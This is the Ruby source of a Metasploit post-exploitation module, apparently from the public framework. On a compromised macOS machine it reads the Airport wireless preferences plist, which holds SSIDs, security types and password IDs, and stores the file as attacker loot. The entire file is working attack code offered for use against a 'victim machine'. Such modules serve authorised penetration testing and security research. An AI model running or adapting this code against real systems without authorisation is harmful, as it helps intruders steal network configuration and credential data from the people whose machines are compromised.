1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7

8
  def initialize(info = {})
9
    super(
10
      update_info(
11
        info,
12
        'Name' => 'OS X Gather Airport Wireless Preferences',
13
        'Description' => %q{
14
          This module will download OS X Airport Wireless preferences from the victim
15
          machine.  The preferences file (which is a plist) contains information such as:
16
          SSID, Channels, Security Type, Password ID, etc.
17
        },
18
        'License' => MSF_LICENSE,
19
        'Author' => [ 'sinn3r'],
20
        'Platform' => [ 'osx' ],
21
        'SessionTypes' => [ 'meterpreter', 'shell' ],
22
        'Notes' => {
23
          'Stability' => [CRASH_SAFE],
24
          'SideEffects' => [],
25
          'Reliability' => []
26
        }
27
      )
28
    )
29
  end
30

31
  def exec(cmd)
32
    tries = 0
33
    begin
34
      cmd_exec(cmd).chomp
35
    rescue ::Timeout::Error => e
36
      tries += 1
37
      if tries < 3
38
        vprint_error("#{@peer} - #{e.message} - retrying...")
39
        retry
40
      end
41
    rescue EOFError => e
42
      tries += 1
43
      if tries < 3
44
        vprint_error("#{@peer} - #{e.message} - retrying...")
45
        retry
46
      end
47
    end
48
  end
49

50
  def get_air_preferences
51
    pref = exec('cat /Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist')
52
    return pref =~ /No such file or directory/ ? nil : pref
53
  end
54

55
  def save(data)
56
    p = store_loot(
57
      'apple.airport.preferences',
58
      'plain/text',
59
      session,
60
      data,
61
      'com.apple.airport.preferences.plist'
62
    )
63

64
    print_good("#{@peer} - plist saved in #{p}")
65
  end
66

67
  def run
68
    @peer = "#{session.session_host}:#{session.session_port}"
69

70
    # Download the plist.  If not found (nil), then bail
71
    pref = get_air_preferences
72
    if pref.nil?
73
      print_error("#{@peer} - Unable to find airport preferences")
74
      return
75
    end
76

77
    # Save the raw version of the plist
78
    save(pref)
79
  end
80
end
81

82